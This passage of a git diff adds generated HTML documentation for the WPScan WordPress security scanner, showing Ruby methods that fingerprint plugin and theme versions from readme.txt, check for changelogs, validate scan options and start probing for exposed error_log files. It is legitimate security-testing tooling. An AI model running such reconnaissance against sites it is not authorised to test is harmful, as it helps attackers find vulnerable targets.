+  <span class="ruby-keyword">case</span> <span class="ruby-ivar">@type</span>
+    <span class="ruby-keyword">when</span> <span class="ruby-string">&quot;themes&quot;</span>
+      <span class="ruby-identifier">folder</span> = <span class="ruby-string">&quot;themes&quot;</span>
+    <span class="ruby-keyword">when</span> <span class="ruby-string">&quot;timthumbs&quot;</span>
+      <span class="ruby-comment"># not needed</span>
+      <span class="ruby-identifier">folder</span> = <span class="ruby-keyword">nil</span>
+    <span class="ruby-keyword">else</span>
+      <span class="ruby-identifier">raise</span>(<span class="ruby-node">&quot;unknown type #@type&quot;</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">folder</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_sub_folder-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_sub_folder-method -->
+
+      
+        <div id="get_url_without_filename-method" class="method-detail ">
+          <a name="method-i-get_url_without_filename"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_url_without_filename</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Gets the full url for this item without filenames</p>
+            
+
+            
+            <div class="method-source-code" id="get_url_without_filename-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 76</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_url_without_filename</span>
+  <span class="ruby-identifier">location_url</span> = <span class="ruby-identifier">get_full_url</span>.<span class="ruby-identifier">to_s</span>
+  <span class="ruby-identifier">valid_location_url</span> = <span class="ruby-identifier">location_url</span>[<span class="ruby-regexp">%{^(https?://.*/)[^.]+\.[^/]+$}</span>, <span class="ruby-value">1</span>]
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">valid_location_url</span>
+    <span class="ruby-identifier">valid_location_url</span> = <span class="ruby-identifier">add_trailing_slash</span>(<span class="ruby-identifier">location_url</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-constant">URI</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-identifier">valid_location_url</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_url_without_filename-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_url_without_filename-method -->
+
+      
+        <div id="has_changelog-3F-method" class="method-detail ">
+          <a name="method-i-has_changelog-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">has_changelog?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>changelog.txt present?</p>
+            
+
+            
+            <div class="method-source-code" id="has_changelog-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 146</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">has_changelog?</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@changelog</span>
+    <span class="ruby-identifier">status</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">changelog_url</span>).<span class="ruby-identifier">code</span>
+    <span class="ruby-ivar">@changelog</span> = <span class="ruby-identifier">status</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span> <span class="ruby-operator">?</span> <span class="ruby-keyword">true</span> <span class="ruby-operator">:</span> <span class="ruby-keyword">false</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@changelog</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- has_changelog-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- has_changelog-3F-method -->
+
+      
+        <div id="has_readme-3F-method" class="method-detail ">
+          <a name="method-i-has_readme-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">has_readme?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>readme.txt present?</p>
+            
+
+            
+            <div class="method-source-code" id="has_readme-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 137</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">has_readme?</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@readme</span>
+    <span class="ruby-identifier">status</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">readme_url</span>).<span class="ruby-identifier">code</span>
+    <span class="ruby-ivar">@readme</span> = <span class="ruby-identifier">status</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span> <span class="ruby-operator">?</span> <span class="ruby-keyword">true</span> <span class="ruby-operator">:</span> <span class="ruby-keyword">false</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@readme</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- has_readme-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- has_readme-3F-method -->
+
+      
+        <div id="readme_url-method" class="method-detail ">
+          <a name="method-i-readme_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">readme_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Url for readme.txt</p>
+            
+
+            
+            <div class="method-source-code" id="readme_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 127</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">readme_url</span>
+  <span class="ruby-identifier">get_url_without_filename</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;readme.txt&quot;</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- readme_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- readme_url-method -->
+
+      
+        <div id="to_s-method" class="method-detail ">
+          <a name="method-i-to_s"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">to_s</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>To string. Adds a version number if detected</p>
+            
+
+            
+            <div class="method-source-code" id="to_s-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 106</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">to_s</span>
+  <span class="ruby-identifier">item_version</span> = <span class="ruby-identifier">version</span>
+  <span class="ruby-node">&quot;#@name#{' v' + item_version.strip if item_version}&quot;</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- to_s-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- to_s-method -->
+
+      
+        <div id="version-method" class="method-detail ">
+          <a name="method-i-version"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">version</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Returns version number from readme.txt if it exists</p>
+            
+
+            
+            <div class="method-source-code" id="version-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 86</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">version</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@version</span>
+    <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">get_full_url</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;readme.txt&quot;</span>).<span class="ruby-identifier">to_s</span>)
+    <span class="ruby-ivar">@version</span> = <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>[<span class="ruby-node">%{stable tag: #{WpVersion.version_pattern}}</span>, <span class="ruby-value">1</span>]
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@version</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- version-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- version-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpOptions.html b/doc/WpOptions.html
new file mode 100644
index 00000000..95da2aab
--- /dev/null
+++ b/doc/WpOptions.html
@@ -0,0 +1,298 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpOptions</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_options_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_options.rb">lib/wpscan/wp_options.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-check_options">::check_options</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpOptions</h1>
+
+    <div id="description" class="description">
+      
+<p>Options Hash</p>
+
+<h4>Options</h4>
+<ul><li>
+<p><tt>url</tt> - The base URL of the WordPress site</p>
+</li><li>
+<p><tt>only_vulnerable_ones</tt> - Only detect vulnerable items</p>
+</li><li>
+<p><tt>file</tt> - Filename with items to detect</p>
+</li><li>
+<p><tt>vulns_file</tt> - XML file with vulnerabilities</p>
+</li><li>
+<p><tt>vulns_xpath</tt> - XPath for vulnerability XML file</p>
+</li><li>
+<p><tt>vulns_xpath_2</tt> - XPath for vulnerability XML file</p>
+</li><li>
+<p><tt>wp_content_dir</tt> - Name of the wp-content directory</p>
+</li><li>
+<p><tt>show_progress_bar</tt> - Show a progress bar during enumeration</p>
+</li><li>
+<p><tt>error_404_hash</tt> - MD5 hash of a 404 page</p>
+</li><li>
+<p><tt>type</tt> - Type: plugins, themes</p>
+</li></ul>
+
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="check_options-method" class="method-detail ">
+          <a name="method-c-check_options"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">check_options</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="check_options-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_options.rb, line 34</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">check_options</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;base_url must be set&quot;</span>)             <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>].<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;only_vulnerable_ones must be set&quot;</span>) <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:only_vulnerable_ones</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;file must be set&quot;</span>)                 <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:file</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:file</span>].<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;vulns_file must be set&quot;</span>)           <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>].<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;vulns_xpath must be set&quot;</span>)          <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath</span>].<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;vulns_xpath_2 must be set&quot;</span>)        <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath_2</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath_2</span>].<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;wp_content_dir must be set&quot;</span>)       <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>].<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;show_progress_bar must be set&quot;</span>)    <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:show_progress_bar</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;error_404_hash must be set&quot;</span>)       <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:error_404_hash</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:error_404_hash</span>].<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;type must be set&quot;</span>)                 <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>].<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>] <span class="ruby-operator">=~</span> <span class="ruby-regexp">/plugins/</span> <span class="ruby-keyword">or</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>] <span class="ruby-operator">=~</span> <span class="ruby-regexp">/themes/</span> <span class="ruby-keyword">or</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>] <span class="ruby-operator">=~</span> <span class="ruby-regexp">/timthumbs/</span>
+    <span class="ruby-identifier">raise</span>(<span class="ruby-node">&quot;Unknown type #{options[:type]}&quot;</span>)
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- check_options-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- check_options-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpPlugin.html b/doc/WpPlugin.html
new file mode 100644
index 00000000..c8b0cbd9
--- /dev/null
+++ b/doc/WpPlugin.html
@@ -0,0 +1,345 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpPlugin</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_plugin_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_plugin.rb">lib/wpscan/wp_plugin.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="WpItem.html">WpItem</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-error_log-3F">#error_log?</a></li>
+          
+          <li><a href="#method-i-error_log_url">#error_log_url</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpPlugin</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_plugin.rb, line 20</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">options</span> = {})
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>]    = (<span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">!=</span> <span class="ruby-string">&quot;&quot;</span>) <span class="ruby-operator">?</span>
+      <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">:</span> <span class="ruby-constant">DATA_DIR</span> <span class="ruby-operator">+</span> <span class="ruby-string">&quot;/plugin_vulns.xml&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath</span>]   = <span class="ruby-string">&quot;//plugin[@name='$name$']/vulnerability&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath_2</span>] = <span class="ruby-string">&quot;//plugin&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>]          = <span class="ruby-string">&quot;plugins&quot;</span>
+  <span class="ruby-keyword">super</span>(<span class="ruby-identifier">options</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="error_log-3F-method" class="method-detail ">
+          <a name="method-i-error_log-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">error_log?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Discover any error_log files created by WordPress These are created by the
+WordPress error_log() function They are normally found in the /plugins/
+directory, however can also be found in their specific plugin dir. <a
+href="http://www.exploit-db.com/ghdb/3714/">www.exploit-db.com/ghdb/3714/</a></p>
+            
+
+            
+            <div class="method-source-code" id="error_log-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_plugin.rb, line 34</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">error_log?</span>
